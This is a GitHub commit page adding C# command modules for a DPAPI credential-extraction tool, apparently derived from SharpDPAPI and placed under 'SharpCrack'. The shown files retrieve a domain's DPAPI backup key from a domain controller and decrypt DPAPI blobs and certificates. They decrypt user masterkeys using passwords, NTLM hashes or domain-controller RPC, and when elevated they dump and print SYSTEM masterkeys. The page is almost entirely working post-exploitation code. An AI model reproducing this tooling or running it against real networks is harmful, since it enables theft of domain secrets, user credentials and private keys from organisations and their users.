Skip to content
This repository has been archived by the owner on Jan 4, 2025. It is now read-only.

Commit

Permalink
DPAPI InterCoreExec
Browse files Browse the repository at this point in the history
  • Loading branch information
byt3n33dl3 committed Sep 8, 2024
1 parent 6395b54 commit 7377577
Show file tree
Hide file tree
Showing 124 changed files with 126,929 additions and 0 deletions.
48 changes: 48 additions & 0 deletions SharpCrack/DPAPI/Commands/Backupkey.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
using System;
using System.Collections.Generic;
using System.IO;

namespace SharpDPAPI.Commands
{
public class Backupkey : ICommand
{
public static string CommandName => "backupkey";

public void Execute(Dictionary<string, string> arguments)
{
Console.WriteLine("\r\n[*] Action: Retrieve domain DPAPI backup key\r\n");

string server = "";
string outFile = "";
bool noWrap = false;

if (arguments.ContainsKey("/nowrap"))
{
noWrap = true;
}

if (arguments.ContainsKey("/server"))
{
server = arguments["/server"];
Console.WriteLine("\r\n[*] Using server : {0}", server);
}
else
{
server = Interop.GetDCName();
if (String.IsNullOrEmpty(server))
{
return;
}
Console.WriteLine("\r\n[*] Using current domain controller : {0}", server);
}

if (arguments.ContainsKey("/file"))
{
// if we want the backup key piped to an output file
outFile = arguments["/file"];
}

Backup.GetBackupKey(server, outFile, noWrap);
}
}
}
126 changes: 126 additions & 0 deletions SharpCrack/DPAPI/Commands/Blob.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,126 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;

namespace SharpDPAPI.Commands
{
public class Blob : ICommand
{
public static string CommandName => "blob";

public void Execute(Dictionary<string, string> arguments)
{
Console.WriteLine("\r\n[*] Action: Describe DPAPI blob");

byte[] blobBytes;
bool unprotect = false; // whether to force CryptUnprotectData()
byte[] entropy = null;
var server = "";

if (arguments.ContainsKey("/unprotect"))
{
Console.WriteLine("\r\n[*] Using CryptUnprotectData() for decryption.");
unprotect = true;
}
Console.WriteLine();

if (arguments.ContainsKey("/target"))
{
string blob = arguments["/target"].Trim('"').Trim('\'');
if (File.Exists(blob))
{
blobBytes = File.ReadAllBytes(blob);
}
else
{
blobBytes = Convert.FromBase64String(blob);
}
}
else
{
Console.WriteLine("[X] A /target:<BASE64 | file.bin> must be supplied!");
return;
}

if (arguments.ContainsKey("/server"))
{
server = arguments["/server"];
}

// {GUID}:SHA1 keys are the only ones that don't start with /
Dictionary<string, string> masterkeys = new Dictionary<string, string>();
foreach (KeyValuePair<string, string> entry in arguments)
{
if (!entry.Key.StartsWith("/"))
{
masterkeys.Add(entry.Key, entry.Value);
}
}
if (arguments.ContainsKey("/pvk"))
{
// use a domain DPAPI backup key to triage masterkeys
masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments);
}
else if (arguments.ContainsKey("/mkfile"))
{
masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]);
}
else if (arguments.ContainsKey("/password"))
{
Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]);
masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]);
}
else if (arguments.ContainsKey("/ntlm"))
{
Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]);
masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]);
}
else if (arguments.ContainsKey("/credkey"))
{
Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]);
masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]);
}
else if (arguments.ContainsKey("/rpc"))
{
Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n");
masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true);
}

if (arguments.ContainsKey("/entropy"))
{
entropy = Helpers.ConvertHexStringToByteArray(arguments["/entropy"]);
}

if (blobBytes.Length > 0)
{
byte[] decBytesRaw = Dpapi.DescribeDPAPIBlob(blobBytes, masterkeys, "blob", unprotect, entropy);

if ((decBytesRaw != null) && (decBytesRaw.Length != 0))
{
if (Helpers.IsUnicode(decBytesRaw))
{
string data = "";
int finalIndex = Array.LastIndexOf(decBytesRaw, (byte)0);
if (finalIndex > 1)
{
byte[] decBytes = new byte[finalIndex + 1];
Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex);
data = Encoding.Unicode.GetString(decBytes);
}
else
{
data = Encoding.ASCII.GetString(decBytesRaw);
}
Console.WriteLine(" dec(blob) : {0}", data);
}
else
{
string hexData = BitConverter.ToString(decBytesRaw).Replace("-", " ");
Console.WriteLine(" dec(blob) : {0}", hexData);
}
}
}
}
}
}
188 changes: 188 additions & 0 deletions SharpCrack/DPAPI/Commands/Certificate.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,188 @@
using System;
using System.Collections.Generic;
using System.IO;

namespace SharpDPAPI.Commands
{

public class Certificate : ICommand
{
public static string CommandName => "certificates";

public void Execute(Dictionary<string, string> arguments)
{
Console.WriteLine("\r\n[*] Action: Certificate Triage");
arguments.Remove("certificates");

string server = ""; // used for remote server specification
bool cng = false; // used for CNG certs
bool showall = false; // used for CNG certs
bool unprotect = false; // whether to force CryptUnprotectData()

if (arguments.ContainsKey("/server"))
{
server = arguments["/server"];
}

if (arguments.ContainsKey("/unprotect"))
{
Console.WriteLine("\r\n[*] Using CryptUnprotectData() for decryption.");
unprotect = true;
}
Console.WriteLine();

// {GUID}:SHA1 keys are the only ones that don't start with /
Dictionary<string, string> masterkeys = new Dictionary<string, string>();
foreach (KeyValuePair<string, string> entry in arguments)
{
if (!entry.Key.StartsWith("/"))
{
masterkeys.Add(entry.Key, entry.Value);
}
}

if (arguments.ContainsKey("/cng"))
{
cng = true;
}

if (arguments.ContainsKey("/showall"))
{
showall = true;
}

if (arguments.ContainsKey("/machine"))
{
// machine certificate triage
if (arguments.ContainsKey("/mkfile"))
{
masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]);
}

if (arguments.ContainsKey("/target"))
{
string target = arguments["/target"].Trim('"').Trim('\'');

if (masterkeys.Count == 0)
{
Console.WriteLine("\r\n[X] Either a '/mkfile:X' or {GUID}:key needs to be passed in order to use '/target' for machine masterkeys");
}
else
{
if (File.Exists(target))
{
Console.WriteLine("[*] Target Certificate File: {0}\r\n", target);
Triage.TriageCertFile(target, masterkeys, cng, showall);
}
else if (Directory.Exists(target))
{
Console.WriteLine("[*] Target Certificate Folder: {0}\r\n", target);
Triage.TriageCertFolder(target, masterkeys, cng, showall);
}
else
{
Console.WriteLine("\r\n[X] '{0}' is not a valid file or directory.", target);
}
}
}
else
{
if (masterkeys.Count == 0)
{
// if no /target and no masterkeys, try to extract the SYSTEM DPAPI creds
if (!Helpers.IsHighIntegrity())
{
Console.WriteLine("[X] Must be elevated to triage SYSTEM DPAPI Credentials!");
}
else
{
masterkeys = Triage.TriageSystemMasterKeys();

Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n");
foreach (KeyValuePair<string, string> kvp in masterkeys)
{
Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value);
}
Console.WriteLine();

Triage.TriageSystemCerts(masterkeys);
}
}
else
{
// if we got machine masterkeys somehow else
Console.WriteLine(masterkeys.Count);
Triage.TriageSystemCerts(masterkeys);
}
}
}
else
{
// user triage

if (arguments.ContainsKey("/pvk"))
{
// use a domain DPAPI backup key to triage masterkeys
masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments);
}
else if (arguments.ContainsKey("/mkfile"))
{
masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]);
}
else if (arguments.ContainsKey("/password"))
{
Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]);
masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]);
}
else if (arguments.ContainsKey("/ntlm"))
{
Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]);
masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]);
}
else if (arguments.ContainsKey("/credkey"))
{
Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]);
masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]);
}
else if (arguments.ContainsKey("/rpc"))
{
Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n");
masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true);
}

if (arguments.ContainsKey("/server"))
{
server = arguments["/server"];
Console.WriteLine("[*] Triaging Certificates from remote server: {0}\r\n", server);
Triage.TriageUserCerts(masterkeys, server, showall);
}

if (arguments.ContainsKey("/target"))
{
string target = arguments["/target"].Trim('"').Trim('\'');

if (File.Exists(target))
{
Console.WriteLine("[*] Target Certificate File: {0}\r\n", target);
Triage.TriageCertFile(target, masterkeys, cng, showall, unprotect);
}
else if (Directory.Exists(target))
{
Console.WriteLine("[*] Target Certificate Folder: {0}\r\n", target);
Triage.TriageCertFolder(target, masterkeys, cng, showall, unprotect);
}
else
{
Console.WriteLine("\r\n[X] '{0}' is not a valid file or directory.", target);
}
}
else
{
Triage.TriageUserCerts(masterkeys, "", showall, unprotect);
}
}

Console.WriteLine("\r\n[*] Hint: openssl pkcs12 -in cert.pem -keyex -CSP \"Microsoft Enhanced Cryptographic Provider v1.0\" -export -out cert.pfx");
}
}
}
Loading

0 comments on commit 7377577

Please sign in to comment.